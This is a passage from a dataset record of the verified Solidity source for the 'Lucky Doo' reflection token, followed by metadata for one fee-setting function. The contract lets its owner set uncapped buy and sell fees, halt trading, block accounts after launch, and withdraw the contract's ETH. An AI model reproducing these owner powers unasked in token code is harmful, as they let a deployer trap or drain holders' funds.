oldWallet); event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee); event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period); event BlockedAccountChange(address indexed holder, bool indexed status); event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue); event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue); event ExcludeFromFeesChange(address indexed account, bool isExcluded); event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded); event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded); event ExcludeFromDividendsChange(address indexed account, bool isExcluded); event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded); event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity); event ClaimETHOverflow(uint256 amount); event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee); constructor() { liquidityWallet = owner(); marketingWallet = owner(); devWallet = owner(); buyBackWallet = owner(); IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; excludeFromDividends(address(this), true); excludeFromDividends(address(dead), true); excludeFromDividends(address(_uniswapV2Router), true); _isAllowedToTradeWhenDisabled[owner()] = true; _isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true; _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true; _isExcludedFromMaxWalletLimit[address(this)] = true; _isExcludedFromMaxWalletLimit[owner()] = true; _isExcludedFromMaxTransactionLimit[address(this)] = true; _isExcludedFromMaxTransactionLimit[address(dead)] = true; _isExcludedFromMaxTransactionLimit[owner()] = true; _rOwned[owner()] = _rTotal; emit Transfer(address(0), owner(), _tTotal); } receive() external payable {} // Setters function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){ _approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { _approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero")); return true; } function _approve(address owner,address spender,uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _getNow() private view returns (uint256) { return block.timestamp; } function launch() external onlyOwner { _launchStartTimestamp = _getNow(); _launchBlockNumber = block.number; isTradingEnabled = true; _isLaunched = true; } function cancelLaunch() external onlyOwner { require(this.isInLaunch(), "LuckyDooToken: Launch is not set"); _launchStartTimestamp = 0; _launchBlockNumber = 0; _isLaunched = false; } function activateTrading() external onlyOwner { isTradingEnabled = true; } function deactivateTrading() external onlyOwner { isTradingEnabled = false; _tradingPausedTimestamp = _getNow(); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "LuckyDooToken: Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; emit AutomatedMarketMakerPairChange(pair, value); } function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner { _isAllowedToTradeWhenDisabled[account] = allowed; emit AllowedWhenTradingDisabledChange(account, allowed); } function excludeFromFees(address account, bool excluded) external onlyOwner { require(_isExcludedFromFee[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromFee[account] = excluded; emit ExcludeFromFeesChange(account, excluded); } function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner { require(_isExcludedFromMaxWalletLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromMaxWalletLimit[account] = excluded; emit ExcludeFromMaxWalletChange(account, excluded); } function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner { require(_isExcludedFromMaxTransactionLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromMaxTransactionLimit[account] = excluded; emit ExcludeFromMaxTransferChange(account, excluded); } function blockAccount(address account) external onlyOwner { uint256 currentTimestamp = _getNow(); require(!_isBlocked[account], "LuckyDooToken: Account is already blocked"); if (_isLaunched) { require((currentTimestamp - _launchStartTimestamp) < _blockedTimeLimit, "LuckyDooToken: Time to block accounts has expired"); } _isBlocked[account] = true; emit BlockedAccountChange(account, true); } function unblockAccount(address account) external onlyOwner { require(_isBlocked[account], "LuckyDooToken: Account is not blcoked"); _isBlocked[account] = false; emit BlockedAccountChange(account, false); } function setWallets(address newLiquidityWallet, address newDevWallet, address newMarketingWallet, address newBuyBackWallett) external onlyOwner { if(liquidityWallet != newLiquidityWallet) { require(newLiquidityWallet != address(0), "LuckyDooToken: The liquidityWallet cannot be 0"); emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet); liquidityWallet = newLiquidityWallet; } if(devWallet != newDevWallet) { require(newDevWallet != address(0), "LuckyDooToken: The devWallet cannot be 0"); emit WalletChange('devWallet', newDevWallet, devWallet); devWallet = newDevWallet; } if(marketingWallet != newMarketingWallet) { require(newMarketingWallet != address(0), "LuckyDooToken: The marketingWallet cannot be 0"); emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } if(buyBackWallet != newBuyBackWallett) { require(newBuyBackWallett != address(0), "LuckyDooToken: The buyBackWallet cannot be 0"); emit WalletChange('buyBackWallet', newBuyBackWallett, buyBackWallet); buyBackWallet = newBuyBackWallett; } } // Base fees function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_base, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('baseFees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } //Launch2 Fees function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch2Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setLaunch2FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_launch2, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('launch2Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } //Launch3 Fees function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch3Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setLaunch3FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_launch3, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('launch3Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } function setMaxWalletAmount(uint256 newValue) external onlyOwner { require(newValue != maxWalletAmount, "LuckyDooToken: Cannot update maxWalletAmount to same value"); emit MaxWalletAmountChange(newValue, maxWalletAmount); maxWalletAmount = newValue; } function setMaxTransactionAmount(uint256 newValue) external onlyOwner { require(newValue != maxTxAmount, "LuckyDooToken: Cannot update maxTxAmount to same value"); emit MaxTransactionAmountChange(newValue, maxTxAmount); maxTxAmount = newValue; } function excludeFromDividends(address account, bool excluded) public onlyOwner { require(_isExcludedFromDividends[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); if(excluded) { if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcludedFromDividends[account] = excluded; _excludedFromDividends.push(account); } else { for (uint256 i = 0; i < _excludedFromDividends.length; i++) { if (_excludedFromDividends[i] == account) { _excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1]; _tOwned[account] = 0; _isExcludedFromDividends[account] = false; _excludedFromDividends.pop(); break; } } } emit ExcludeFromDividendsChange(account, excluded); } function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner { require(newValue != minimumTokensBeforeSwap, "LuckyDooToken: Cannot update minimumTokensBeforeSwap to same value"); emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap); minimumTokensBeforeSwap = newValue; } function claimETHOverflow() external onlyOwner { require(address(this).balance > 0, "LuckyDooToken: Cannot send more than contract balance"); uint256 amount = address(this).balance; (bool success,) = address(owner()).call{value : amount}(""); if (success){ emit ClaimETHOverflow(amount); } } // Getters function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view virtual returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcludedFromDividends[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function totalFees() external view returns (uint256) { return _tFeeTotal; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function isInLaunch() external view returns (bool) { uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow(); uint256 totalLaunchTime = _launch1.timeInPeriod + _launch2.timeInPeriod + _launch3.timeInPeriod; if(_isLaunched && ((currentTimestamp - _launchStartTimestamp) < totalLaunchTime || (block.number - _launchBlockNumber) < _launch1.blocksInPeriod )) { return true; } else { return false; } } function getBaseBuyFees() external view returns (uint256, uint256, uint256, uint256, uint256){ return (_base.liquidityFeeOnBuy, _base.marketingFeeOnBuy, _base.devFeeOnBuy, _base.buyBackFeeOnBuy, _base.holdersFeeOnBuy); } function getBaseSellFees() external view returns (uint256, uint256, uint256, uint256, uint256){ return (_base.liquidityFeeOnSell, _base.marketingFeeOnSell, _base.devFeeOnSell, _base.buyBackFeeOnSell, _base.holdersFeeOnSell); } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "LuckyDooToken: Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= _tTotal, "LuckyDooToken: Amount must be less than supply"); uint256 currentRate = _getRate(); uint256 rAmount = tAmount * currentRate; if (!deductTransferFee) { return rAmount; } else { uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate; uint256 rTransferAmount = rAmount - rTotalFee; return rTransferAmount; } } // Main function _transfer( address from, address to, uint256 amount ) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from), "LuckyDooToken: Cannot transfer more than balance"); bool isBuyFromLp = automatedMarketMakerPairs[from]; bool isSelltoLp = automatedMarketMakerPairs[to]; bool _isInLaunch = this.isInLaunch(); if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) { require(isTradingEnabled, "LuckyDooToken: Trading is currently disabled."); require(!_isBlocked[to], "LuckyDooToken: Account is blocked"); require(!_isBlocked[from], "LuckyDooToken: Account is blocked"); if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) { require(amount <= maxTxAmount, "LuckyDooToken: Transfer amount exceeds the maxTxAmount."); } if (!_isExcludedFromMaxWalletLimit[to]) { require((balanceOf(to) + amount) <= maxWalletAmount, "LuckyDooToken: Expected wallet amount exceeds the maxWalletAmount."); } } _adjustTaxes(isBuyFromLp, isSelltoLp, _isInLaunch); bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap; if ( isTradingEnabled && canSwap && !_swapping && _totalFee > 0 && automatedMarketMakerPairs[to] && from != liquidityWallet && to != liquidityWallet && from != devWallet && to != devWallet && from != marketingWallet && to != marketingWallet && from != buyBackWallet && to != buyBackWallet ) { _swapping = true; _swapAndLiquify(); _swapping = false; } bool takeFee = !_swapping && isTradingEnabled; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private { (uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate()); if (_isExcludedFromDividends[sender]) { _tOwned[sender] = _tOwned[sender] - tAmount; } if (_isExcludedFromDividends[recipient]) { _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; } _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeContractFees(rOther, tOther); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal -= rFee; _tFeeTotal += tFee; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){ if (!takeFee) { return (tAmount, 0, 0); } else { uint256 tFee = tAmount * _holdersFee / 100; uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100; uint256 tTransferAmount = tAmount - (tFee + tOther); return (tTransferAmount, tFee, tOther); } } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tOther, uint256 currentRate ) private pure returns ( uint256, uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rOther = tOther * currentRate; uint256 rTransferAmount = rAmount - (rFee + rOther); return (rAmount, rTransferAmount, rFee, rOther); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excludedFromDividends.length; i++) { if ( _rOwned[_excludedFromDividends[i]] > rSupply || _tOwned[_excludedFromDividends[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excludedFromDividends[i]]; tSupply = tSupply - _tOwned[_excludedFromDividends[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeContractFees(uint256 rOther, uint256 tOther) private { if (_isExcludedFromDividends[address(this)]) { _tOwned[address(this)] += tOther; } _rOwned[address(this)] += rOther; } function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp, bool isLaunching) private { uint256 blocksSinceLaunch = block.number - _launchBlockNumber; uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow(); uint256 timeSinceLaunch = currentTimestamp - _launchStartTimestamp; _liquidityFee = 0; _devFee = 0; _marketingFee = 0; _buyBackFee = 0; _holdersFee = 0; if (isBuyFromLp) { _liquidityFee = _base.liquidityFeeOnBuy; _devFee = _base.devFeeOnBuy; _marketingFee = _base.marketingFeeOnBuy; _buyBackFee = _base.buyBackFeeOnBuy; _holdersFee = _base.holdersFeeOnBuy; if(isLaunching) { if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) { _liquidityFee = _launch1.liquidityFeeOnBuy; _devFee = _launch1.devFeeOnBuy; _marketingFee = _launch1.marketingFeeOnBuy; _buyBackFee = _launch1.buyBackFeeOnBuy; _holdersFee = _launch1.holdersFeeOnBuy; } else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) { _liquidityFee = _launch2.liquidityFeeOnBuy; _devFee = _launch2.devFeeOnBuy; _marketingFee = _launch2.marketingFeeOnBuy; _buyBackFee = _launch2.buyBackFeeOnBuy; _holdersFee = _launch2.holdersFeeOnBuy; } else { _liquidityFee = _launch3.liquidityFeeOnBuy; _devFee = _launch3.devFeeOnBuy; _marketingFee = _launch3.marketingFeeOnBuy; _buyBackFee = _launch3.buyBackFeeOnBuy; _holdersFee = _launch3.holdersFeeOnBuy; } } } if (isSelltoLp) { _liquidityFee = _base.liquidityFeeOnSell; _devFee = _base.devFeeOnSell; _marketingFee = _base.marketingFeeOnSell; _buyBackFee = _base.buyBackFeeOnSell; _holdersFee = _base.holdersFeeOnSell; if(isLaunching) { if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) { _liquidityFee = _launch1.liquidityFeeOnSell; _devFee = _launch1.devFeeOnSell; _marketingFee = _launch1.marketingFeeOnSell; _buyBackFee = _launch1.buyBackFeeOnSell; _holdersFee = _launch1.holdersFeeOnSell; } else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) { _liquidityFee = _launch2.liquidityFeeOnSell; _devFee = _launch2.devFeeOnSell; _marketingFee = _launch2.marketingFeeOnSell; _buyBackFee = _launch2.buyBackFeeOnSell; _holdersFee = _launch2.holdersFeeOnSell; } else { _liquidityFee = _launch3.liquidityFeeOnSell; _devFee = _launch3.devFeeOnSell; _marketingFee = _launch3.marketingFeeOnSell; _buyBackFee = _launch3.buyBackFeeOnSell; _holdersFee = _launch3.holdersFeeOnSell; } } } _totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee; emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee); } function _setCustomSellTaxPeriod(CustomTaxPeriod storage map, uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell ) private { if (map.liquidityFeeOnSell != _liquidityFeeOnSell) { emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName); map.liquidityFeeOnSell = _liquidityFeeOnSell; } if (map.marketingFeeOnSell != _marketingFeeOnSell) { emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName); map.marketingFeeOnSell = _marketingFeeOnSell; } if (map.devFeeOnSell != _devFeeOnSell) { emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName); map.devFeeOnSell = _devFeeOnSell; } if (map.buyBackFeeOnSell != _buyBackFeeOnSell) { emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName); map.buyBackFeeOnSell = _buyBackFeeOnSell; } if (map.holdersFeeOnSell != _holdersFeeOnSell) { emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName); map.holdersFeeOnSell = _holdersFeeOnSell; } } function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map, uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy ) private { if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) { emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName); map.liquidityFeeOnBuy = _liquidityFeeOnBuy; } if (map.marketingFeeOnBuy != _marketingFeeOnBuy) { emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName); map.marketingFeeOnBuy = _marketingFeeOnBuy; } if (map.devFeeOnBuy != _devFeeOnBuy) { emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName); map.devFeeOnBuy = _devFeeOnBuy; } if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) { emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName); map.buyBackFeeOnBuy = _buyBackFeeOnBuy; } if (map.holdersFeeOnBuy != _holdersFeeOnBuy) { emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName); map.holdersFeeOnBuy = _holdersFeeOnBuy; } } function _swapAndLiquify() private { uint256 contractBalance = balanceOf(address(this)); uint256 initialETHBalance = address(this).balance; uint8 totalFeePrior = _totalFee; uint8 liquidityFeePrior = _liquidityFee; uint8 marketingFeePrior = _marketingFee; uint8 devFeePrior = _devFee; uint8 buyBackFeePrior = _buyBackFee; uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2; uint256 amountToSwapForETH = contractBalance - amountToLiquify; _swapTokensForETH(amountToSwapForETH); uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance; uint256 totalETHFee = _totalFee - (_liquidityFee / 2); uint256 amountETHLiquidity = ETHBalanceAfterSwap * _liquidityFee / totalETHFee / 2; uint256 amountETHDev = ETHBalanceAfterSwap * _devFee / totalETHFee; uint256 amountETHBuyBack = ETHBalanceAfterSwap * _buyBackFee / totalETHFee; uint256 amountETHMarketing = ETHBalanceAfterSwap - (amountETHLiquidity + amountETHDev + amountETHBuyBack); payable(marketingWallet).transfer(amountETHMarketing); payable(devWallet).transfer(amountETHDev); payable(buyBackWallet).transfer(amountETHBuyBack); if (amountToLiquify > 0) { _addLiquidity(amountToLiquify, amountETHLiquidity); emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify); } _totalFee = totalFeePrior; _liquidityFee = liquidityFeePrior; _marketingFee = marketingFeePrior; _devFee = devFeePrior; _buyBackFee = buyBackFeePrior; } function _swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable liquidityWallet, block.timestamp ); } }
setLaunch2FeesOnBuy
function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch2Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); }
//Launch2 Fees
LineComment
v0.8.13+commit.abaa5c0e
MIT
ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd
{ "func_code_index": [ 12129, 12560 ] }
1,309
LuckyDoo
LuckyDoo.sol
0x78734a327b6d84b44c358cc42b2416967fe7a819
Solidity
LuckyDoo
contract LuckyDoo is IERC20, Ownable { using Address for address; using SafeMath for uint256; IRouter public uniswapV2Router; address public immutable uniswapV2Pair; string private constant _name = "Lucky Doo"; string private constant _symbol = "DOO"; uint8 private constant _decimals = 18; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 999000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; bool public isTradingEnabled; uint256 private _tradingPausedTimestamp; // max wallet is 2.0% of initialSupply uint256 public maxWalletAmount = _tTotal * 200 / 10000; // max tx is 0.53% of initialSupply uint256 public maxTxAmount = _tTotal * 530 / 100000; bool private _swapping; // max wallet is 0.025% of initialSupply uint256 public minimumTokensBeforeSwap = _tTotal * 250 / 1000000; address private dead = 0x000000000000000000000000000000000000dEaD; address public liquidityWallet; address public marketingWallet; address public devWallet; address public buyBackWallet; struct CustomTaxPeriod { bytes23 periodName; uint8 blocksInPeriod; uint256 timeInPeriod; uint8 liquidityFeeOnBuy; uint8 liquidityFeeOnSell; uint8 marketingFeeOnBuy; uint8 marketingFeeOnSell; uint8 devFeeOnBuy; uint8 devFeeOnSell; uint8 buyBackFeeOnBuy; uint8 buyBackFeeOnSell; uint8 holdersFeeOnBuy; uint8 holdersFeeOnSell; } // Launch taxes bool private _isLaunched; uint256 private _launchStartTimestamp; uint256 private _launchBlockNumber; CustomTaxPeriod private _launch1 = CustomTaxPeriod('launch1',5,0,100,1,0,4,0,2,0,3,0,2); CustomTaxPeriod private _launch2 = CustomTaxPeriod('launch2',0,3600,1,2,4,10,2,3,3,10,2,5); CustomTaxPeriod private _launch3 = CustomTaxPeriod('launch3',0,86400,1,2,4,8,2,3,3,10,2,4); // Base taxes CustomTaxPeriod private _default = CustomTaxPeriod('default',0,0,1,1,4,4,2,2,3,3,2,2); CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,1,1,4,4,2,2,3,3,2,2); uint256 private constant _blockedTimeLimit = 172800; mapping (address => bool) private _isAllowedToTradeWhenDisabled; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromMaxWalletLimit; mapping (address => bool) private _isExcludedFromMaxTransactionLimit; mapping (address => bool) private _isExcludedFromDividends; mapping (address => bool) private _isBlocked; mapping (address => bool) public automatedMarketMakerPairs; address[] private _excludedFromDividends; uint8 private _liquidityFee; uint8 private _devFee; uint8 private _marketingFee; uint8 private _buyBackFee; uint8 private _holdersFee; uint8 private _totalFee; event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value); event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress); event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet); event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee); event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period); event BlockedAccountChange(address indexed holder, bool indexed status); event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue); event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue); event ExcludeFromFeesChange(address indexed account, bool isExcluded); event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded); event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded); event ExcludeFromDividendsChange(address indexed account, bool isExcluded); event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded); event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity); event ClaimETHOverflow(uint256 amount); event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee); constructor() { liquidityWallet = owner(); marketingWallet = owner(); devWallet = owner(); buyBackWallet = owner(); IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); uniswapV2Router = _uniswapV2Router; 